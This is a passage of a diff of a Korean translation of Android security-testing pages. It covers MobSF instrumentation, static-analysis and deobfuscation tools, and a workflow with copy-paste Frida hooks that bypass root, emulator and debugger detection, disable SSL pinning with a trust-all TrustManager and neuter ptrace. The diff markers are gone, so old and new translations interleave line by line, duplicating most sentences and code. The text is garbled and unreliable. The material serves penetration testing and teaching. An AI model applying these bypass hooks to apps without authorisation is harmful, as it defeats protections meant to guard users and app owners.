동적 테스트를 **start**하려면 초록색 버튼인: "**Start Instrumentation**"을 누르세요. Frida 스크립트가 생성한 로그를 보려면 "**Frida Live Logs**"를 누르고, 훅된 메서드의 호출, 전달된 인수 및 반환 값을 보려면 "**Live API Monitor**"를 누르세요(이는 "Start Instrumentation"을 누른 후 표시됩니다).\
MobSF는 또한 사용자 정의 **Frida scripts**를 로드할 수 있습니다 (Frida scripts의 결과를 MobSF로 전송하려면 `send()` 함수를 사용하세요). 여러 **사전 작성된 스크립트**도 로드할 수 있으며 (`MobSF/DynamicAnalyzer/tools/frida_scripts/others/`에 추가 가능), 스크립트를 **선택**한 뒤 "**Load**"를 누르고 "**Start Instrumentation**"을 누르면 해당 스크립트의 로그를 "**Frida Live Logs**"에서 확인할 수 있습니다.
동적 테스트를 **start**하려면 녹색 버튼인: "**Start Instrumentation**"을 누르세요. "**Frida Live Logs**"를 눌러 Frida 스크립트가 생성한 로그를 보고, "**Live API Monitor**"를 눌러 후킹된 메서드의 호출, 전달된 인자 및 반환값을 확인할 수 있습니다(이 항목은 "Start Instrumentation"을 누른 후에 표시됩니다).\
MobSF는 또한 자체 **Frida scripts**를 불러올 수 있습니다(Frida 스크립트의 결과를 MobSF로 보내려면 `send()` 함수를 사용하세요). 또한 미리 작성된 **여러 스크립트**를 불러올 수 있으며(더 추가하려면 `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`에 추가), 단순히 선택 후 "**Load**"를 누르고 "**Start Instrumentation**"을 누르면 해당 스크립트의 로그를 "**Frida Live Logs**"에서 수 있습니다.
![](<../../images/image (419).png>)
또한 몇 가지 보조 Frida 기능이 있습니다:
- **Enumerate Loaded Classes**: 로드된 모든 클래스를 출력합니다.
- **Capture Strings**: 애플리케이션 사용 중 캡처되는 모든 문자열을 출력합니다 (매우 많은 출력).
- **Capture String Comparisons**: 매우 유용할 수 있습니다. 비교되는 두 문자열을 보여주고 결과가 True인지 False인지 표시합니다.
- **Enumerate Loaded Classes**: 로드된 모든 클래스를 출력합니다
- **Capture Strings**: 애플리케이션 사용 중 캡처된 모든 문자열을 출력합니다(매우 많은 노이즈 발생)
- **Capture String Comparisons**: 매우 유용할 수 있습니다. 비교되는 두 문자열과 결과(True/False)를 **표시**합니다.
- **Enumerate Class Methods**: 클래스 이름(예: "java.io.File")을 입력하면 해당 클래스의 모든 메서드를 출력합니다.
- **Search Class Pattern**: 패턴으로 클래스 검색합니다.
- **Trace Class Methods**: 클래스 전체를 **Trace**합니다 (해당 클래스의 모든 메서드 입력과 출력 확인). 기본적으로 MobSF는 여러 흥미로운 Android Api 메서드를 trace합니다.
- **Search Class Pattern**: 패턴으로 클래스 검색
- **Trace Class Methods**: **Trace** a **whole class** (해당 클래스의 모든 메서드의 입력과 출력을 확인). 기본적으로 MobSF는 여러 흥미로운 Android API 메서드를 trace 합니다.
원하는 보조 모듈을 선택한 후 "**Start Intrumentation**"을 눌러야 하며 모든 출력은 "**Frida Live Logs**"에서 확인할 수 있습니다.
원하는 보조 모듈을 선택한 후 "**Start Intrumentation**"을 누르면 모든 출력이 "**Frida Live Logs**"에 표시됩니다.
**Shell**
MobSF는 동적 분석 페이지 하단에 몇 가지 **adb** 명령, **MobSF commands**, 그리고 일반적인 **shell** **commands**를 포함한 셸을 제공합니다. 일부 흥미로운 명령:
MobSF는 동적 분석 페이지 하단에 몇 가지 **adb** 명령, **MobSF commands**, 일반적인 **shell** **commands**가 포함된 쉘도 제공합니다. 몇 가지 흥미로운 명령:
```bash
help
shell ls
@ -658,32 +658,32 @@ receivers
```
**HTTP 도구**
HTTP 트래픽을 캡처하면 "**HTTP(S) Traffic**" 버튼 하단에서 캡처된 트래픽의 거친 뷰를 보거나 "**Start HTTPTools**" 녹색 버튼에서 더 보기 좋은 뷰를 볼 수 있습니다. 두 번째 옵션에서는 캡처된 요청을 Burp나 Owasp ZAP 같은 proxies로 **보낼** 수 있습니다.\
이를 위해, _Burp를 켜고 -->_ _Intercept를 끈 다음 --> MobSB HTTPTools에서 요청을 선택_ --> "**Send to Fuzzer**"를 누르고 --> _프록시 주소를 선택_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
When http traffic is capture you can see an ugly view of the captured traffic on "**HTTP(S) Traffic**" 버튼 or a nicer view in "**Start HTTPTools**" green 버튼. From the second option, you can **send** the **captured requests** to **proxies** like Burp or Owasp ZAP.\
To do so, _power on Burp -->_ _turn off Intercept --> in MobSB HTTPTools select the request_ --> press "**Send to Fuzzer**" --> _select the proxy address_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
MobSF로 동적 분석을 마치면 "**Start Web API Fuzzer**"를 눌러 http 요청을 **fuzz**하여 취약점을 찾아볼 수 있습니다.
Once you finish the dynamic analysis with MobSF you can press on "**Start Web API Fuzzer**" to **fuzz http requests** an look for vulnerabilities.
> [!TIP]
> MobSF로 동적 분석을 수행한 후 프록시 설정이 잘못 구성되어 GUI에서 수정할 수 없게 될 수 있습니다. 프록시 설정은 다음 명령으로 수정할 수 있습니다:
> After performing a dynamic analysis with MobSF the proxy settings me be misconfigured and you won't be able to fix them from the GUI. You can fix the proxy settings by doing:
>
> ```
> adb shell settings put global http_proxy :0
> ```
### Assisted Dynamic Analysis with Inspeckage
### Inspeckage를 이용한 보조 동적 분석
도구는 [**Inspeckage**](https://github.com/ac-pm/Inspeckage)에서 얻을 수 있습니다.\
이 도구는 몇**Hooks**를 사용하여 동적 분석을 수행하는 동안 애플리케이션에서 **무슨 일이 일어나는지** 알려줍니다.
You can get the tool from [**Inspeckage**](https://github.com/ac-pm/Inspeckage).\
이 도구는 몇 가지 **Hooks**를 사용하여 **dynamic analysis**를 수행하는 동안 애플리케이션에서 **무슨 일이 일어나고 있는지** 알려줍니다.
### [Yaazhini](https://www.vegabird.com/yaazhini/)
GUI로 정적 분석을 수행하기에 **훌륭한 도구**입니다
This is a **great tool to perform static analysis with a GUI**
![](<../../images/image (741).png>)
### [Qark](https://github.com/linkedin/qark)
이 도구는 소스 코드나 패키지된 APK에서 여러 **보안 관련 Android 애플리케이션 취약점**을 찾도록 설계되었습니다. 또한 이 도구는 발견된 일부 취약점(Exposed activities, intents, tapjacking...)을 악용하기 위한 "Proof-of-Concept" 배포 가능한 APK와 **ADB commands**를 생성할 수 있습니다. Drozer와 마찬가지로 테스트 디바이스를 루팅할 필요가 없습니다.
This tool is designed to look for several **security related Android application vulnerabilities**, either in **source code** or **packaged APKs**. The tool is also **capable of creating a "Proof-of-Concept" deployable APK** and **ADB commands**, to exploit some of the found vulnerabilities (Exposed activities, intents, tapjacking...). As with Drozer, there is no need to root the test device.
```bash
pip3 install --user qark # --user is only needed if not using a virtualenv
qark --apk path/to/my.apk
@ -692,20 +692,20 @@ qark --java path/to/specific/java/file.java
```
### [**ReverseAPK**](https://github.com/1N3/ReverseAPK.git)
- 참조하기 쉽도록 추출된 모든 파일을 표시
- APK 파일을 자동으로 Java 및 Smali 형식으로 디컴파일
- AndroidManifest.xml을 분석하여 일반적인 취약점과 동작 식별
- 정적 소스 코드 분석을 통해 일반적인 취약점과 동작 검사
- 기기 정보
- 그 외 다양한 기능
- 참조하기 쉽게 모든 추출된 파일을 표시합니다
- APK 파일을 자동으로 Java 및 Smali 형식으로 디컴파일합니다
- AndroidManifest.xml을 분석하여 일반적인 취약점 및 동작을 확인합니다
- 정적 소스 코드 분석을 통해 일반적인 취약점 및 동작을 검사합니다
- 장치 정보
- 그리고 더 많은 기능
```bash
reverse-apk relative/path/to/APP.apk
```
### [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super)
SUPER는 Windows, MacOS X 및 Linux에서 사용할 수 있는 명령줄 애플리케이션으로, 취약점을 찾기 위해 _.apk_ 파일을 분석합니다. 이 프로그램은 APKs를 압축 해제하고 일련의 규칙을 적용하여 이러한 취약점을 탐지합니다.
SUPER는 Windows, MacOS X 및 Linux에서 사용할 수 있는 커맨드라인 애플리케이션으로, 취약점을 찾기 위해 _.apk_ 파일을 분석합니다. 이 도구는 APKs를 압축 해제하고 일련의 규칙을 적용하여 해당 취약점을 탐지합니다.
All rules are centered in a `rules.json` file, and each company or tester could create its own rules to analyze what they need.
모든 규칙은 `rules.json` 파일에 집중되어 있으며, 각 회사나 테스터는 필요에 맞게 자체 규칙을 만들어 분석할 수 있습니다.
최신 바이너리는 [download page](https://superanalyzer.rocks/download.html)에서 다운로드하세요.
```
@ -715,9 +715,9 @@ super-analyzer {apk_file}
![](<../../images/image (297).png>)
StaCoAn은 모바일 애플리케이션에서 [static code analysis](https://en.wikipedia.org/wiki/Static_program_analysis)를 수행하는 developers, bugbounty hunters and ethical hackers를 돕는 **crossplatform** 도구입니다.
StaCoAn은 모바일 애플리케이션에서 [static code analysis](https://en.wikipedia.org/wiki/Static_program_analysis)를 수행하는 개발자, bugbounty hunters 및 ethical hackers를 지원하는 **크로스플랫폼** 도구입니다.
개념은 모바일 애플리케이션 파일(.apk 또는 .ipa 파일)을 StaCoAn 애플리케이션에 드래그 앤 드롭하면 시각적이고 포터블한 보고서를 생성해 준다는 것입니다. 설정과 워드리스트를 조정하여 맞춤형 경험을 얻을 수 있습니다.
개념은 모바일 애플리케이션 파일(.apk 또는 .ipa 파일)을 StaCoAn 애플리케이션에 드래그 앤 드롭하면 시각적이고 휴대 가능한 리포트를 생성해 준다는 것입니다. 설정과 wordlists를 조정하여 맞춤형 경험을 얻을 수 있습니다.
다운로드[ latest release](https://github.com/vincentcox/StaCoAn/releases):
```
@ -725,7 +725,7 @@ StaCoAn은 모바일 애플리케이션에서 [static code analysis](https://en.
```
### [AndroBugs](https://github.com/AndroBugs/AndroBugs_Framework)
AndroBugs Framework는 개발자나 hackers가 Android 애플리케이션에서 잠재적인 보안 취약점을 찾도록 돕는 Android 취약점 분석 시스템입니다.\
AndroBugs Framework는 개발자나 해커가 Android 애플리케이션에서 잠재적인 보안 취약점을 찾도록 돕는 취약점 분석 시스템입니다.\
[Windows releases](https://github.com/AndroBugs/AndroBugs_Framework/releases)
```
python androbugs.py -f [APK file]
@ -733,11 +733,11 @@ androbugs.exe -f [APK file]
```
### [Androwarn](https://github.com/maaaaz/androwarn)
**Androwarn**는 Android 애플리케이션이 개발한 잠재적 악성 동작을 탐지하고 사용자에게 경고하는 것을 주요 목적으로 하는 도구입니다.
**Androwarn**는 Android 애플리케이션이 수행할 수 있는 잠재적 악성 행위를 탐지하고 사용자에게 경고하는 것을 주된 목적으로 하는 도구입니다.
탐지는 애플리케이션의 Dalvik 바이트코드를 **Smali**로 표현한 것을 [`androguard`](https://github.com/androguard/androguard) 라이브러리를 사용한 **static analysis**로 수행됩니다.
탐지는 [`androguard`](https://github.com/androguard/androguard) 라이브러리를 사용해 **Smali**로 표현된 애플리케이션의 Dalvik 바이트코드에 대한 **static analysis**로 수행됩니다.
이 도구는 **"bad" 애플리케이션의 일반적인 동작**을 탐지하며, 예로 Telephony identifiers exfiltration, Audio/video flow interception, PIM data modification, Arbitrary code execution 등이 있습니다...
이 도구는 다음과 같은 Telephony identifiers exfiltration, Audio/video flow interception, PIM data modification, Arbitrary code execution 등과 같은 **common behavior of "bad" applications**를 탐지합니다...
```
python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
```
@ -745,48 +745,48 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
![](<../../images/image (595).png>)
**MARA**는 **M**obile **A**pplication **R**everse engineering and **A**nalysis Framework입니다. 이 도구는 일반적으로 사용되는 모바일 애플리케이션 reverse engineering 및 analysis 도구들을 모아 OWASP 모바일 보안 위협에 대해 모바일 애플리케이션을 테스트하는 것을 돕습니다. 목적은 모바일 애플리케이션 개발자와 보안 전문가들이 이 작업을 더 쉽고 친근하게 수행할 수 있도록 하는 것입니다.
**MARA** is a **M**obile **A**pplication **R**everse engineering and **A**nalysis Framework. 이는 OWASP mobile security 위협에 대해 모바일 애플리케이션을 테스트할 때 자주 사용하는 모바일 애플리케이션 리버스 엔지니어링 및 분석 도구들을 한데 모아 둔 툴입니다. 목적은 모바일 애플리케이션 개발자와 보안 전문가들이 이 작업을 더 쉽고 친숙하게 수행할 수 있도록 돕는 것입니다.
다음 기능을 제공합니다:
가능한 기능:
- 다양한 도구를 사용하여 Java 및 Smali 코드를 추출합니다
- 다음을 사용하여 APK를 분석합니다: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD)
- regexps를 사용하여 APK에서 private 정보를 추출합니다.
- 다양한 도구를 사용하여 Java 및 Smali 코드를 추출합니다.
- 다음을 사용 APK를 분석합니다: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD)
- regexps를 사용 APK에서 private 정보를 추출합니다.
- Manifest를 분석합니다.
- 발견된 도메인을 다음으로 분석합니다: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) [whatweb](https://github.com/urbanadventurer/WhatWeb)
- [apk-deguard.com]을 통해 APK의 deobfuscation을 수행합니다
- 다음을 사용해 발견된 도메인을 분석합니다: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) and [whatweb](https://github.com/urbanadventurer/WhatWeb)
- [apk-deguard.com](http://www.apk-deguard.com)을 통해 APK 난독화 해제(deobfuscate)를 시도합니다.
### Koodous
malware 탐지에 유용: [https://koodous.com/](https://koodous.com/)
악성코드 탐지에 유용: [https://koodous.com/](https://koodous.com/)
## Obfuscating/Deobfuscating code
사용하는 서비스와 구성에 따라 코드를 obfuscate할 때 비밀(Secrets)이 obfuscated된 상태로 남을 수도 있고 아닐 수도 있다는 점을 유의하세요.
사용하는 서비스와 구성에 따라 코드가 난독화될 때 비밀(Secrets)이 난독화되지 않거나 난독화될 수 있다는 점에 유의하세요.
### [ProGuard](<https://en.wikipedia.org/wiki/ProGuard_(software)>)
From [Wikipedia](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard**는 Java 코드를 축소(shrink), 최적화(optimize)하고 obfuscate하는 오픈 소스 명령줄 도구입니다. 바이트코드를 최적화하고 사용되지 않는 명령을 탐지 및 제거할 수 있습니다. ProGuard는 자유 소프트웨어이며 GNU General Public License, version 2 하에 배포됩니다.
From [Wikipedia](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard**는 Java 코드를 축소(shrink), 최적화(optimize), 난독화(obfuscate)하는 오픈 소스 커맨드라인 도구입니다. 바이트코드를 최적화하고 사용되지 않는 명령을 탐지 및 제거할 수 있습니다. ProGuard는 무료 소프트웨어이며 GNU General Public License, version 2 하에 배포됩니다.
ProGuard는 Android SDK의 일부로 배포되며, 애플리케이션을 release 모드로 빌드할 때 실행됩니다.
ProGuard는 Android SDK의 일부로 배포되며 release 모드로 애플리케이션을 빌드할 때 실행됩니다.
### [DexGuard](https://www.guardsquare.com/dexguard)
APK의 deobfuscate에 대한 단계별 가이드는 [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html)에서 확인할 수 있습니다.
APK 난독화 해제에 대한 단계별 가이드는 [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html)에서 확인하세요.
(해당 가이드에 따르면) 마지막으로 확인했을 때, Dexguard의 동작 방식은 다음과 같았습니다:
(해당 가이드에서) 마지막으로 확인했을 때 Dexguard의 동작 방식은 다음과 같았습니다:
- 리소스를 InputStream으로 로드합니다;
- 결과를 FilterInputStream을 상속한 클래스에 전달하여 이를 decrypt합니다;
- 리버서의 시간을 낭비하기 위해 몇 분 정도 소모되는 쓸모없는 obfuscation을 수행합니다;
- 결과를 FilterInputStream을 상속한 클래스에 전달하여 복호화합니다;
- 리버서의 시간을 조금 낭비시키기 위해 쓸데없는 난독화를 수행합니다;
- 복호화된 결과를 ZipInputStream에 전달하여 DEX 파일을 얻습니다;
- 마지막으로 `loadDex` 메서드를 사용하여 결과 DEX를 Resource로 로드합니다.
- 마지막으로 결과 DEX를 `loadDex` 메서드를 사용해 Resource로 로드합니다.
### [DeGuard](http://apk-deguard.com)
**DeGuard는 Android obfuscation 도구가 수행한 obfuscation 과정을 역으로 수행합니다. 이를 통해 코드 검사 및 라이브러리 예측을 포함한 다양한 보안 분석이 가능해집니다.**
**DeGuard는 Android 난독화 도구가 수행한 난독화 과정을 역으로 수행합니다. 이를 통해 코드 검사와 라이브러리 예측 등 다양한 보안 분석이 가능해집니다.**
obfuscated APK를 해당 플랫폼에 업로드할 수 있습니다.
난독화된 APK를 플랫폼에 업로드할 수 있습니다.
### [Deobfuscate android App]https://github.com/In3tinct/deobfuscate-android-app
@ -794,11 +794,11 @@ This is a LLM tool to find any potential security vulnerabilities in android app
### [Simplify](https://github.com/CalebFenton/simplify)
이는 generic android deobfuscator입니다. Simplify는 앱을 virtually executes하여 동작을 이해한 다음, 사람이 이해하기 쉽게 동작은 동일하게 유지하면서 코드를 최적화하려고 시도합니다. 각 최적화 유형은 단순하고 일반적이므로 어떤 특정한 obfuscation 유형이 사용되었는지는 중요하지 않습니다.
이는 일반적인 android deobfuscator입니다. Simplify는 앱을 사실상 실행(virtually executes)하여 동작을 이해한 뒤, 사람이 이해하기 쉽도록 동일한 동작을 유지하면서 코드를 최적화하려고 시도합니다. 각 최적화 유형은 단순하고 일반적이므로 사용된 특정 난독화 유형이 무엇이든 상관없습니다.
### [APKiD](https://github.com/rednaga/APKiD)
APKiD는 APK가 어떻게 만들어졌는지에 대한 정보를 제공합니다. 많은 compilers, packers, obfuscators 및 기타 이상한 요소들을 식별합니다. Android용 [_PEiD_](https://www.aldeid.com/wiki/PEiD)와 같습니다.
APKiD는 APK가 어떻게 만들어졌는지에 대한 정보를 제공합니다. 많은 컴파일러, packer, obfuscator 및 기타 이상한 것들을 식별합니다. Android용 [_PEiD_](https://www.aldeid.com/wiki/PEiD)입니다.
### Manual
@ -808,13 +808,13 @@ APKiD는 APK가 어떻게 만들어졌는지에 대한 정보를 제공합니다
### [Androl4b](https://github.com/sh4hin/Androl4b)
AndroL4b는 ubuntu-mate 기반의 Android 보안 가상 머신으로, 최신 프레임워크, 튜토리얼 및 reverse engineering과 malware analysis를 위한 다양한 연구자 및 보안 애호가들의 실습 자료를 포함합니다.
AndroL4b는 Ubuntu MATE 기반의 Android 보안 가상머신으로, 리버스 엔지니어링 및 멀웨어 분석을 위한 최신 프레임워크, 튜토리얼 및 랩 컬렉션을 포함합니다. 보안 연구자들과 다양한 기여자들의 자료를 포함하고 있습니다.
## References
- [https://owasp.org/www-project-mobile-app-security/](https://owasp.org/www-project-mobile-app-security/)
- [https://appsecwiki.com/#/](https://appsecwiki.com/#/) 훌륭한 자료 목록입니다
- [https://maddiestone.github.io/AndroidAppRE/](https://maddiestone.github.io/AndroidAppRE/) Android 빠른 강좌
- [https://appsecwiki.com/#/](https://appsecwiki.com/#/) 훌륭한 리소스 목록입니다
- [https://maddiestone.github.io/AndroidAppRE/](https://maddiestone.github.io/AndroidAppRE/) Android 빠른 코스
- [https://manifestsecurity.com/android-application-security/](https://manifestsecurity.com/android-application-security/)
- [https://github.com/Ralireza/Android-Security-Teryaagh](https://github.com/Ralireza/Android-Security-Teryaagh)
- [https://www.youtube.com/watch?v=PMKnPaGWxtg\&feature=youtu.be\&ab_channel=B3nacSec](https://www.youtube.com/watch?v=PMKnPaGWxtg&feature=youtu.be&ab_channel=B3nacSec)

View File

@ -2,30 +2,30 @@
{{#include ../../banners/hacktricks-training.md}}
이 페이지는 instrumentation을 탐지하거나 루트 차단을 수행하거나 TLS pinning을 강제하는 Android 앱에 대해 dynamic analysis를 복원하기 위한 실용적인 워크플로를 제공합니다. 가능한 경우 재패키징 없이 우회할 수 있는 빠른 분류, 일반적인 탐지 항목, 복사-붙여넣기 가능한 hooks/tactics에 중점을 둡니다.
이 페이지는 instrumentation을 차단하거나 루트 감지(rootblock)를 하는 Android 앱에 대해 동적 분석을 복구하기 위한 실용적인 워크플로우를 제공합니다. 빠른 분류, 일반적인 탐지 기법, 그리고 가능하면 repacking 없이 적용 가능한 복사‑붙여넣기형 훅/전술에 중점을 둡니다.
## Detection Surface (앱이 확인하는 항목)
## Detection Surface (what apps check)
- Root checks: su binary, Magisk paths, getprop values, common root packages
- Frida/debugger checks (Java): Debug.isDebuggerConnected(), ActivityManager.getRunningAppProcesses(), getRunningServices(), scanning /proc, classpath, loaded libs
- Native antidebug: ptrace(), syscalls, antiattach, breakpoints, inline hooks
- Early init checks: Application.onCreate() or process start hooks that crash if instrumentation is present
- 루트 검사: su binary, Magisk paths, getprop values, common root packages
- Frida/debugger 검사 (Java): Debug.isDebuggerConnected(), ActivityManager.getRunningAppProcesses(), getRunningServices(), scanning /proc, classpath, loaded libs
- 네이티브 antidebug: ptrace(), syscalls, antiattach, breakpoints, inline hooks
- 초기 초기화 검사: Application.onCreate() 또는 프로세스 시작 훅에서 instrumentation이 존재하면 크래시를 유발
- TLS pinning: custom TrustManager/HostnameVerifier, OkHttp CertificatePinner, Conscrypt pinning, native pins
## Step 1 — Quick win: hide root with Magisk DenyList
- Enable Zygisk in Magisk
- Enable DenyList, add the target package
- Reboot and retest
- Magisk에서 Zygisk 활성화
- DenyList 활성화하고 대상 패키지 추가
- 재부팅 후 재테스트
많은 앱은 su/Magisk 경로/getprop 같은 명백한 지표만 확인합니다. DenyList는 종종 단순한 검사들을 무력화합니다.
많은 앱은 명확한 지표(su/Magisk paths/getprop)만 확인합니다. DenyList는 종종 이런 단순한 검사를 무력화합니다.
References:
- Magisk (Zygisk & DenyList): https://github.com/topjohnwu/Magisk
## Step 2 — 30second Frida Codeshare tests
심층 분석에 들어가기 전에 자주 쓰이는 dropin 스크립트를 먼저 시도해보세요:
깊게 분석하기 전에 일반적으로 사용하는 드롭인 스크립트를 먼저 시도하세요:
- anti-root-bypass.js
- anti-frida-detection.js
@ -35,13 +35,13 @@ Example:
```bash
frida -U -f com.example.app -l anti-frida-detection.js
```
이들은 일반적으로 Java의 root/debug checks, process/service scans, 그리고 네이티브 ptrace()를 스텁합니다. 보호가 약한 앱에서는 유용하지만, 강화된 대상은 맞춤형 hooks가 필요할 수 있습니다.
이들은 일반적으로 Java의 root/debug checks, process/service scans, 그리고 native ptrace()를 스텁 처리합니다. 보호 수준이 낮은 앱에서는 유용하지만, 보안이 강화된 대상(hardened targets)은 맞춤형 훅이 필요할 수 있습니다.
- Codeshare: https://codeshare.frida.re/
## Medusa로 자동화하기 (Frida framework)
## Automate with Medusa (Frida framework)
Medusa는 SSL unpinning, root/emulator detection bypass, HTTP comms logging, crypto key interception 등 90개 이상의 기성 모듈을 제공합니다.
Medusa는 SSL unpinning, root/emulator detection bypass, HTTP comms logging, crypto key interception 등을 위한 90+개의 기성 모듈을 제공합니다.
```bash
git clone https://github.com/Ch0pin/medusa
cd medusa
@ -54,22 +54,22 @@ use http_communications/multiple_unpinner
use root_detection/universal_root_detection_bypass
run com.target.app
```
팁: Medusa는 커스텀 hooks를 작성하기 전에 빠른 성과를 얻기에 좋습니다. 모듈을 선별해서 자신의 scripts와 결합할 수도 있습니다.
팁: Medusa는 커스텀 hooks를 작성하기 전에 빠른 승리를 가져오기 좋습니다. modules를 cherry-pick하고 자체 scripts와 결합할 수도 있습니다.
## Step 3 — init-time 탐지기를 늦게 attach하여 우회하기
## 3단계 — Bypass init-time detectors by attaching late
많은 탐지 process spawn/onCreate() 동안에만 실행됩니다. Spawntime injection (-f)이나 gadgets는 잡히기 쉽고, UI가 로드된 이후에 attach하면 우회할 수 있습니다.
많은 탐지들은 process spawn/onCreate() 동안에만 실행됩니다. Spawntime injection (-f)이나 gadgets는 탐지되기 쉽고, UI가 로드된 이후에 attaching하면 우회할 수 있습니다.
```bash
# Launch the app normally (launcher/adb), wait for UI, then attach
frida -U -n com.example.app
# Or with Objection to attach to running process
aobjection --gadget com.example.app explore # if using gadget
```
이 방법이 작동하면 세션을 안정적으로 유지하고 매핑 및 스텁 검사로 진행하세요.
이 방법이 통하면 세션을 안정적으로 유지하고 map 및 stub checks로 진행하세요.
## 단계 4 — Jadx 및 문자열 검색을 통한 탐지 로직 매핑
## Step 4 — Jadx 및 문자열 탐색을 통한 탐지 로직 매핑
Jadx에서의 정적 트리아지 키워드:
Jadx에서의 정적 triage 키워드:
- "frida", "gum", "root", "magisk", "ptrace", "su", "getprop", "debugger"
일반적인 Java 패턴:
@ -78,16 +78,16 @@ public boolean isFridaDetected() {
return getRunningServices().contains("frida");
}
```
검토/hook할 일반 API:
검토/후킹할 공통 API:
- android.os.Debug.isDebuggerConnected
- android.app.ActivityManager.getRunningAppProcesses / getRunningServices
- java.lang.System.loadLibrary / System.load (native bridge)
- java.lang.Runtime.exec / ProcessBuilder (probing commands)
- android.os.SystemProperties.get (root/emulator heuristics)
## 5단계 — Runtime stubbing with Frida (Java)
## Step 5 — Frida로 런타임 스텁 처리 (Java)
커스텀 가드를 오버라이드하여 리패킹 없이 안전한 값을 반환하도록:
재패키징 없이 안전한 값을 반환하도록 커스텀 가드를 재정의:
```js
Java.perform(() => {
const Checks = Java.use('com.example.security.Checks');
@ -102,7 +102,7 @@ const AM = Java.use('android.app.ActivityManager');
AM.getRunningAppProcesses.implementation = function () { return java.util.Collections.emptyList(); };
});
```
초기 crashes를 분류하고 있나요? 종료되기 직전에 Dump classes를 해서 잠재적 detection namespaces를 찾아보세요:
초기 크래시를 분석 중인가요? 종료되기 직전에 Dump classes해서 감지 가능성이 높은 네임스페이스를 찾아보세요:
```js
Java.perform(() => {
Java.enumerateLoadedClasses({
@ -111,6 +111,7 @@ onComplete: () => console.log('Done')
});
});
```
```
// Quick root detection stub example (adapt to target package/class names)
Java.perform(() => {
try {
@ -118,6 +119,7 @@ const RootChecker = Java.use('com.target.security.RootCheck');
RootChecker.isDeviceRooted.implementation = function () { return false; };
} catch (e) {}
});
```
실행 흐름을 확인하기 위해 의심스러운 메서드를 로깅하고 무력화하세요:
```js
@ -129,12 +131,11 @@ return false;
};
});
```
## 에뮬레이터/VM 지 우회 (Java stubs)
## 에뮬레이터/VM 지 우회 (Java stubs)
일반적인 휴리스틱:
Build.FINGERPRINT/MODEL/MANUFACTURER/HARDWARE에 generic/goldfish/ranchu/sdk 포함; QEMU 아티팩트 예: /dev/qemu_pipe, /dev/socket/qemud; 기본 MAC 02:00:00:00:00:00; 10.0.2.x NAT; telephony/sensors 없음.
일반적인 휴리스틱: Build.FINGERPRINT/MODEL/MANUFACTURER/HARDWARE에 generic/goldfish/ranchu/sdk가 포함되어 있는지; /dev/qemu_pipe, /dev/socket/qemud 같은 QEMU 아티팩트; 기본 MAC 02:00:00:00:00:00; 10.0.2.x NAT; 전화 기능/센서 누락.
Build 필드를 빠르게 spoof:
Build 필드의 빠른 스푸핑:
```js
Java.perform(function(){
var Build = Java.use('android.os.Build');
@ -144,11 +145,11 @@ Build.BRAND.value = 'google';
Build.FINGERPRINT.value = 'google/panther/panther:14/UP1A.231105.003/1234567:user/release-keys';
});
```
파일 존재 체크 및 식별자 (TelephonyManager.getDeviceId/SubscriberId, WifiInfo.getMacAddress, SensorManager.getSensorList)에 대한 스텁을 추가해 현실적인 값을 반환하도록 보완하세요.
파일 존재 검사와 식별자에 대한 스텁을 추가하여 TelephonyManager.getDeviceId/SubscriberId, WifiInfo.getMacAddress, SensorManager.getSensorList 호출이 현실적인 값을 반환하도록 보완하세요.
## SSL pinning bypass quick hook (Java)
커스텀 TrustManagers를 무력화하고 permissive SSL contexts를 강제합니다:
사용자 정의 TrustManagers를 무력화하고 허용적인 SSL contexts를 강제합니다:
```js
Java.perform(function(){
var X509TrustManager = Java.use('javax.net.ssl.X509TrustManager');
@ -166,28 +167,28 @@ return SSLContextInit.call(this, km, TrustManagers, sr);
};
});
```
Notes
- OkHttp에 대해 확장: 필요에 따라 hook okhttp3.CertificatePinner 및 HostnameVerifier를 적용하거나, CodeShare의 범용 unpinning script를 사용하세요.
노트
- OkHttp 확장: 필요한 경우 okhttp3.CertificatePinner와 HostnameVerifier를 hook하거나, CodeShare의 universal unpinning script를 사용하세요.
- 실행 예: `frida -U -f com.target.app -l ssl-bypass.js --no-pause`
## 단계 6 — Java hooks가 실패할 때 JNI/native 트레일을 추적
## 6단계 — Java hooks가 실패할 때 JNI/native 경로 추적
JNI 진입점을 추적하여 native 로더와 탐지 초기화(detection init)를 찾아보세요:
JNI entry points를 추적하여 native loaders와 detection init을 찾으세요:
```bash
frida-trace -n com.example.app -i "JNI_OnLoad"
```
번들된 .so 파일 빠른 네이티브 선별:
번들된 .so 파일에 대한 빠른 네이티브 선별:
```bash
# List exported symbols & JNI
nm -D libfoo.so | head
objdump -T libfoo.so | grep Java_
strings -n 6 libfoo.so | egrep -i 'frida|ptrace|gum|magisk|su|root'
```
Interactive/native reversing:
인터랙티브/네이티브 리버싱:
- Ghidra: https://ghidra-sre.org/
- r2frida: https://github.com/nowsecure/r2frida
예: neuter ptrace to defeat simple antidebug in libc:
예: ptrace를 무력화하여 libc의 단순 antidebug를 우회:
```js
const ptrace = Module.findExportByName(null, 'ptrace');
if (ptrace) {
@ -203,22 +204,22 @@ reversing-native-libraries.md
## 7단계 — Objection patching (embed gadget / strip basics)
repacking을 runtime hooks 대신 선호한다면, 다음을 시도해보세요:
repacking을 runtime hooks보다 선호한다면, 다음을 시도해보세요:
```bash
objection patchapk --source app.apk
```
Notes:
